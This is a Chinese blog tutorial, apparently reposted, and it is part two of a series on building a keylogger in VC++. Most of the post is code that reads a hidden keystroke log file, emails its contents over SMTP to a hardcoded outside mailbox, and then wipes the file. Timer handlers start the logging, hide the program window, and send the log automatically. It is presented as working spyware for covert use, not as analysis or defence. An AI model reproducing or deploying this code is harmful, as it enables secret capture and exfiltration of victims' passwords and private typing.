键盘记录及自动发送VC++实现(下)
来源:互联网 发布:徐一叉 知乎 编辑:程序博客网 时间:2024/06/06 01:24
正文:
承接上一章“键盘记录及自动发送VC++实现(上) 欢迎登陆:www.liublog.com.cn。
在上篇文章中已经介绍了如何记录键盘,在这里我们要实现的是如何将键盘记录发送到指定邮箱,其实很简单,基本原理是:
自己编写一个邮件发送软件,让这个软件和键盘记录组合起来,定时发送指定的邮件内容(键盘记录文本),并能隐藏运行。
这里我坦白自己也不会编写那样的软件,于是乎下载了一个别人的源代码,然后搞懂里面的运作,做了一些修改,变为自己使用。
1、 记得在“键盘记录及自动发送VC++实现(上)”已经提过到了添加两个类SMTP和BASE64,就是在这里要用到的。在CKeyBoardRecordDlg.cpp文档中添加全局函数:
//邮件发送进程
UINT SendMailMulti(LPVOID pParam)
{
SYSTEMTIME sysTm;
::GetLocalTime(&sysTm);
int m_nMonth = sysTm.wMonth;
int m_nDay = sysTm.wDay;
char filename[100];//保存文件名
sprintf(filename,"c://Windows//liublog.com.cn.log");//键盘记录文件的保存地址
CString hugestr;//在这个程序中我不是通过附件发送,而是将记录文件读到hugestr这个CString类中用//正文发送
CFile mFile;
if(mFile.Open(filename,CFile::modeRead))//设置键盘记录路径
{
int l = mFile.GetLength();
mFile.ReadHuge(hugestr.GetBuffer(l+1),l);
hugestr.ReleaseBuffer();
mFile.Close();//必须先关闭,后面的打开清空才有效。
}
else
{
// AfxMessageBox("没有找到前一天的记录!文件名格式为liublog.com.cn_月_日.log/r/n路径://c://Windows文件夹下");欢迎登陆:www.liublog.com.cn。
mFile.Close();
return FALSE;
}
//发送文件
CKeyBoardRecordDlg *pSendThread = (CKeyBoardRecordDlg *)pParam;
CSMTP smtp("smtp.hexun.com", 25);//邮件服务器信息,这些我都写死到程序中
//初始化邮件内容:
smtp.m_strAccount = "";//发送人邮箱账号及密码,可以不写
smtp.m_strPassword = "";
smtp.m_strFrom = "liuyuelin007@126.com";
smtp.m_strTo = "liublog@hexun.com";//接受信箱
smtp.m_strSubject = "www.liublog.com.cn";//主题
smtp.m_strBody = hugestr;//内容
smtp.m_strUsername = "macolin";//寄件人名称
// smtp.m_szFilenames.Copy(pSendThread->m_szFilenames);//不发送附件
//连接服务器:
pSendThread->SetDlgItemText(IDC_STATIC_STATUS, "正在连接服务器……");
if(!smtp.Connect())
{
// AfxMessageBox(smtp.GetLastError());
pSendThread->SetDlgItemText(IDC_STATIC_STATUS, "连接服务器失败!");
return FALSE;
}
//当需要服务器验证的时候:
if(pSendThread->m_bNeedAuth == 1)//默认设置不验证
{
pSendThread->SetDlgItemText(IDC_STATIC_STATUS, "正在验证 用户名/密码 ……");
if(!smtp.Auth())
{
// AfxMessageBox(smtp.GetLastError());
pSendThread->SetDlgItemText(IDC_STATIC_STATUS, "用户名/密码 验证出错!");
return FALSE;
}
}
//开始发送邮件:
CProgressCtrl *pBar;//放一个进度条
pBar = (CProgressCtrl *)pSendThread->GetDlgItem(IDC_PROGRESS_SEND);
pSendThread->SetDlgItemText(IDC_STATIC_STATUS, "正在发送信件……");
for(m_nCount; m_nCount < pSendThread->m_nCopyNumber; ::InterlockedIncrement((long *)&m_nCount))
{
if(!smtp.SendMessage())
{
// AfxMessageBox(smtp.GetLastError());
smtp.Disconnect();
pSendThread->SetDlgItemText(IDC_STATIC_STATUS, "发送信件出错!");
return FALSE;
}
else
{
pSendThread->SetDlgItemText(IDC_STATIC_STATUS, "正在发送信件……");
pBar->SetPos((m_nCount + 1) * 100 / pSendThread->m_nCopyNumber);
smtp.Disconnect();
}
}
//邮件已被成功发送!
pSendThread->SetDlgItemText(IDC_STATIC_STATUS, "发送完毕!");
pSendThread->SetDlgItemText(IDCANCEL, "完成");
m_nCount = 0;
mFile.Open("c://Windows//liublog.com.cn.log",CFile::modeCreate);//发送后清空键盘记录文件
mFile.Close();
// AfxMessageBox("成功发送邮件!");
return TRUE;
}
函数用到的相关变量请在头文件中添加:
//邮件发送的相关变量定义
CString m_strAccount;
CString m_strPassword;
CString m_strFrom;
CString m_strTo;
CString m_strSubject;
CString m_strBody;
CString m_strUsername;
int m_nCopyNumber;
int m_nPort;
CString m_strSmtpServer;
int m_bNeedAuth;
关键和最难的一步实现了(其实不难,粘贴复制即可,哈哈)
2、 在窗体中添加一个按钮IDC_BUTTON_SEND,来试试我们的邮件发送功能。
void CKeyBoardRecordDlg::OnButtonSend()
{
AfxBeginThread(SendMailMulti, this);
}
3、 而要实现自动发送就在OnInitDialog()下功夫了,添加两个定时器后,实现定时
void CKeyBoardRecordDlg::OnTimer(UINT nIDEvent)
{
if(nIDEvent==1)
{
KillTimer(1);
if(Register())
{
OnButtonStart();
ShowWindow(FALSE);
}
}
else if(nIDEvent==2)
{
KillTimer(2);
if(Register())
{
OnButtonSend();
}
}
CDialog::OnTimer(nIDEvent);
}
基本的功能已经完成,写得比较粗糙,欢迎登陆:www.liublog.com.cn。
- 键盘记录及自动发送VC++实现(下)
- 键盘记录及自动发送VC++实现
- 键盘记录及自动发送VC++实现
- 键盘记录及自动发送VC++实现(上)
- vc++实现Inline hook KeyboardClassServiceCallback实现键盘记录
- vc++实现Inline hook KeyboardClassServiceCallback实现键盘记录
- VC中自动发送邮件的实现
- VC中定时器的使用 实现数据自动发送
- 用perl实现报表自动提取及自动发送(转)
- system 权限下键盘记录
- linux下的键盘记录
- js 实现键盘记录
- 通过IRPhook实现键盘记录
- python实现键盘记录木马
- python 实现键盘记录
- VC自动发送邮件程序
- VC实现邮件发送
- linux下实现每天自动发送服务器日志到邮箱(使用sendmail)
- 获得当前的tr数
- 2010-10-19
- 键盘记录及自动发送VC++实现(上)
- 项目管理心得:一个项目经理的个人体会、经验总结【转】
- 关于《orange‘s一个操作系统的实现》中调用门部分的补充和纠正
- 键盘记录及自动发送VC++实现(下)
- tttyyy
- Desktop Linux: The Dream Is Dead
- 我的新书《jBPM4工作流应用开发指南》出版了
- js,CSS 树形列表[不连接数据库]
- 首次登陆
- opencv iplimage socket 传输
- static的初始化顺序
- 工作站使用Marvell网卡系列问题解决方案